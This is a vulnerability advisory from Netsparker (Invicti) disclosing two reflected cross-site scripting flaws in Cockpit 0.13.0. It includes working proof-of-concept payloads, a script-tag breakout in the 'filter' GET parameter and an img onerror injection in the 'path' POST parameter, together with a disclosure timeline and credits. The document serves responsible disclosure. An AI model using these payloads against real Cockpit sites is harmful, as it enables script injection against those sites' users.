Multiple Reflected Cross-site Scripting Vulnerabilities in Cockpit 0.13.0


Advisory by Netsparker (now Invicti)
Name: Multiple Reflected Cross-site Scripting Vulnerabilities in Cockpit
Affected Software: Cockpit
Affected Versions: 0.13.0
Vendor Homepage:
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Not fixed
Invicti Advisory Reference: NS-16-015

Technical Details

Proof of Concept URLs for XSS vulnerabilities in Cockpit;

URL: /cockpit-0.13.0/collections/entries/{ANOTHER_ENTRIES_HASH}&filter='"--></style></scRipt><scRipt>alert(0x0032AA)</scRipt>
Parameter Name: filter
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x0032AA)</scRipt>

URL: /cockpit-0.13.0/mediamanager/api
Parameter Name: path
Parameter Type: POST
Attack Pattern: ><iMg src=N onerror=alert(9)>

For more information on cross-site scripting vulnerabilities, see Cross-site Scripting (XSS).

Advisory Timeline

30 Jun 2016 – Issue reported
Jul – Sep 2016 – Several attempts to get in touch
19 Sep 2016 – Advisory released

Credits & Authors

These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

About Invicti

Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.